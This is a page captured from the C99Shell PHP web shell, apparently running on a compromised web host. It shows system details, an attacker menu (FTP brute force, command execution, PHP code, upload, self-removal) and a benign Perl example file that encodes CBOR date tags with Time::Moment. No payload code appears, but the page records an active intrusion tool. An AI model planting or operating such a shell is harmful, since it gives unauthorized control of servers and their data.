!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Time-Moment/eg/   drwxr-xr-x
Free 6181.82 GB of 6263.02 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cbor.pl (886 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
use strict;
use warnings;

use Time::Moment qw[];
use Time::HiRes  qw[];
use CBOR::XS     qw[encode_cbor];

sub filter {
    my ($tag) = @_;
    # http://www.iana.org/assignments/cbor-tags/cbor-tags.xhtml
    if    ($tag == 0) { return Time::Moment->from_string($_[1]) }
    elsif ($tag == 1) { return Time::Moment->from_epoch($_[1])  }
    else              { return &CBOR::XS::default_filter        }
}

my $encoded = encode_cbor([
    # Tag 0 is standard date/time string; see Section 2.4.1
    CBOR::XS::tag(0, '2013-12-24T12:30:45.123456789+01:00'),
    # Tag 1 is epoch-based date/time; see Section 2.4.1
    CBOR::XS::tag(1, time),
    CBOR::XS::tag(1, Time::HiRes::time),
    # Serializes as tag 0
    Time::Moment->now,
]);

my $decoded = CBOR::XS->new->filter(\&filter)->decode($encoded);
foreach my $moment (@$decoded) {
    print $moment->to_string, "\n";
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0111 ]--